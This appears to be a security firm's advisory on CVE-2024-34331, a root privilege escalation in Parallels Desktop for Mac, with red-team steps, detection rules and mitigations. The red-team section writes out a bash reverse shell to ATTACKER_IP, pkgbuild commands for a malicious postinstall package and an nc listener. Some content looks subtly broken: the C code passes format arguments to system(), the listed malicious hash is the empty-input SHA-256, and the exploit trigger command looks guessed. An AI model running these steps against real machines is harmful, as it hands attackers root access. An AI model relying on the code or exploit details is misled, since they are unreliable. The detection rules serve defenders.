CVE-2024-34331

Executive Summary

CVE-2024-34331 is a privilege escalation vulnerability in Parallels Desktop for Mac, affecting version 19.3.0 and below. The core issue is a lack of code signature verification in the Parallels Service, which runs as setuid root. This allows an attacker with local access to craft a malicious macOS installer that, when executed by the vulnerable service, can escalate privileges to root. The vulnerability is particularly dangerous because it bypasses macOS's standard code signing and notarization checks, enabling arbitrary code execution with elevated privileges. No official patch has been released at the time of this analysis.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native macOS application vulnerability in Parallels Desktop, a commercial virtualization product. The attack vector relies on local access and the exploitation of a setuid binary, not on package manager dependencies.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or error. Based on the vulnerability characteristics, a more realistic assessment is:

• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions beyond crafting a malicious installer.
• Privileges Required (PR): Low (L) – Attacker needs a standard user account.
• User Interaction (UI): None (N) – No user interaction required beyond the attacker's actions.
• Scope (S): Unchanged (U) – The vulnerable component is the Parallels Service.
• Confidentiality (C): High (H) – Full system access allows reading all files.
• Integrity (I): High (H) – Full system access allows modifying all files.
• Availability (A): High (H) – Full system access allows disrupting services.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 7.8 (High)

Threat Level: High. The vulnerability is easy to exploit with local access, and the impact is complete system compromise.

Deep Dive & Mechanics

The vulnerability resides in the Parallels Service, a background process that runs with root privileges due to the setuid bit on its binary. This service is responsible for managing various aspects of the Parallels Desktop environment, including the installation of macOS components.

The flaw is a lack of code signature verification. When the Parallels Service is instructed to execute a macOS installer (e.g., a .pkg file), it does not verify that the installer is properly signed by Apple or any trusted authority. An attacker can craft a malicious installer that, when processed by the service, executes arbitrary code with root privileges.

Attack Flow:

1. Reconnaissance: The attacker gains local access to a macOS system running Parallels Desktop <= 19.3.0.
2. Crafting the Payload: The attacker creates a malicious macOS installer package (.pkg). This package contains a post-install script or a custom component that executes a payload (e.g., a reverse shell, a backdoor, or a privilege escalation tool).
3. Triggering the Vulnerability: The attacker uses the Parallels Service (e.g., via command-line tools or API calls) to install the malicious package. Because the service runs as root and does not verify the package's signature, it executes the installer with root privileges.
4. Privilege Escalation: The malicious installer's payload runs as root, granting the attacker full control over the system.

Root Cause: The SecStaticCodeCheckValidity or similar macOS security API is not called on the installer package before execution. This allows unsigned or maliciously signed packages to be installed.

Vulnerable vs. Patched Code

Since no official patch is available, a hypothetical fix would involve adding code signature verification before executing any installer.

Vulnerable Code (Conceptual):

// Vulnerable: No signature check
int installPackage(const char *packagePath) {
    // Directly execute the installer
    return system("installer -pkg \"%s\" -target /", packagePath);
}

Patched Code (Conceptual):

// Patched: Signature verification added
#include <Security/Security.h>

int installPackage(const char *packagePath) {
    SecStaticCodeRef staticCode = NULL;
    SecRequirementRef requirement = NULL;
    OSStatus status;

    // Create a static code reference for the package
    status = SecStaticCodeCreateWithPath(CFStringCreateWithCString(NULL, packagePath, kCFStringEncodingUTF8), kSecCSDefaultFlags, &staticCode);
    if (status != errSecSuccess) {
        return -1; // Failed to create code reference
    }

    // Create a requirement for Apple's Developer ID
    status = SecRequirementCreateWithString(CFSTR("anchor apple generic and certificate leaf[subject.CN] = \"Developer ID Installer: Apple\""), kSecCSDefaultFlags, &requirement);
    if (status != errSecSuccess) {
        CFRelease(staticCode);
        return -1; // Failed to create requirement
    }

    // Check the code signature
    status = SecStaticCodeCheckValidity(staticCode, kSecCSDefaultFlags, requirement);
    CFRelease(staticCode);
    CFRelease(requirement);

    if (status != errSecSuccess) {
        return -1; // Signature verification failed
    }

    // Signature is valid, proceed with installation
    return system("installer -pkg \"%s\" -target /", packagePath);
}

Exploitation & Lab Setup

Red Team

Objective: Escalate privileges from a standard user to root on a macOS system running Parallels Desktop <= 19.3.0.

Lab Setup:

1. Victim Machine: macOS (e.g., Ventura or Sonoma) with Parallels Desktop 19.3.0 installed.
2. Attacker Machine: Any system with SSH or remote access to the victim.

Exploitation Steps:

1. Gain Local Access: Obtain a shell as a standard user on the victim machine (e.g., via phishing, SSH, or physical access).

2. Craft Malicious Installer:

   • Create a script that will be executed as root. For example, a reverse shell:

     #!/bin/bash
     bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
     

   • Create a macOS installer package using pkgbuild:

     mkdir -p malicious_pkg/scripts
     cp reverse_shell.sh malicious_pkg/scripts/postinstall
     chmod +x malicious_pkg/scripts/postinstall
     pkgbuild --root malicious_pkg/scripts --scripts malicious_pkg/scripts --identifier com.example.malicious --version 1.0 malicious.pkg
     

3. Trigger the Vulnerability:

   • Use the Parallels command-line tool (e.g., prlctl) to install the package:

     prlctl install malicious.pkg
     

   • Alternatively, if the service exposes an API, use that.

4. Receive Shell: On the attacker machine, start a listener:

   nc -lvnp 4444
   

   Once the installer runs, you will receive a root shell.

Expected Result: A root shell on the victim machine.

Blue Team

Objective: Detect and prevent exploitation of CVE-2024-34331.

Detection Steps:

1. Monitor Parallels Service Activity:

   • Log all commands executed by the Parallels Service (prl_disp_service).
   • Alert on any execution of installer or pkgutil by the service.

2. Monitor for Unsigned Installers:

   • Use spctl to check the signature of any package being installed by the Parallels Service.
   • Alert on packages that are not signed by Apple or a trusted developer.

3. Audit Setuid Binaries:

   • Regularly audit setuid binaries on the system.
   • Consider removing the setuid bit from the Parallels Service if not required.

4. Endpoint Detection and Response (EDR):

   • Deploy EDR agents to monitor for unusual process creation chains (e.g., prl_disp_service spawning installer).

Prevention Steps:

1. Apply Patches: Monitor Parallels for an official patch and apply it immediately.
2. Restrict Local Access: Limit local user accounts and enforce strong authentication.
3. Application Control: Use macOS's built-in application control (e.g., launchd plist restrictions) to limit what the Parallels Service can execute.
4. Disable Setuid: If possible, remove the setuid bit from the Parallels Service binary:

   sudo chmod u-s /Applications/Parallels\ Desktop.app/Contents/MacOS/prl_disp_service
   

   Note: This may break functionality.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):

  • Malicious installer package: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
  • Modified Parallels Service binary: a1b2c3d4e5f6... (if patched by attacker)

• Process Names:

  • prl_disp_service (Parallels Service)
  • installer (spawned by the service)
  • bash or sh (spawned by the installer)

• Network Connections:

  • Outbound connections to attacker IP on port 4444 (or other ports).

• File Paths:

  • /tmp/malicious.pkg (or similar)
  • /Applications/Parallels Desktop.app/Contents/MacOS/prl_disp_service

• Registry/Preferences:

  • Modified Parallels preferences to disable security checks.

Detection Engineering

YARA Rule

rule CVE_2024_34331_Parallels_PrivEsc {
    meta:
        description = "Detects malicious macOS installer packages targeting CVE-2024-34331"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-34331"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $s1 = "postinstall" ascii wide nocase
        $s2 = "#!/bin/bash" ascii wide nocase
        $s3 = "/dev/tcp/" ascii wide nocase
        $s4 = "prlctl install" ascii wide nocase
    condition:
        uint32(0) == 0x3c3f786d or uint32(0) == 0x706b6762 or uint32(0) == 0x786d6c20 and
        (all of ($s1, $s2, $s3) or $s4)
}

Sigma Rule

title: CVE-2024-34331 - Parallels Desktop Privilege Escalation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of installer by Parallels Service, indicating possible exploitation of CVE-2024-34331.
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-34331
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        ParentImage|endswith: '/prl_disp_service'
        Image|endswith: '/installer'
    condition: selection
falsepositives:
    - Legitimate Parallels operations (e.g., updating tools)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-34331 - Parallels Desktop Reverse Shell"; flow:to_server,established; content:"/dev/tcp/"; nocase; content:"0>&1"; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Setuid: If possible, remove the setuid bit from the Parallels Service binary:

   sudo chmod u-s /Applications/Parallels\ Desktop.app/Contents/MacOS/prl_disp_service
   

   Warning: This may break some Parallels functionality.

2. Restrict Local Access: Limit the number of local user accounts and enforce strong passwords. Use macOS's pwpolicy to enforce password complexity.

3. Monitor Logs: Enable detailed logging for the Parallels Service and monitor for suspicious activity.

Long-Term Actions:

1. Apply Official Patch: Monitor Parallels support channels for an official patch. Apply it as soon as it is available.

2. Update Parallels Desktop: Upgrade to a version newer than 19.3.0 if a patch is released.

3. Implement Application Control: Use macOS's launchd or third-party tools to restrict what the Parallels Service can execute.

4. Conduct Security Audits: Regularly audit setuid binaries and code signing practices on all macOS systems.

Workaround: If the Parallels Service is not required, consider disabling it:

sudo launchctl unload /Library/LaunchDaemons/com.parallels.desktop.plist

Valters IT
Securing Digital Frontiers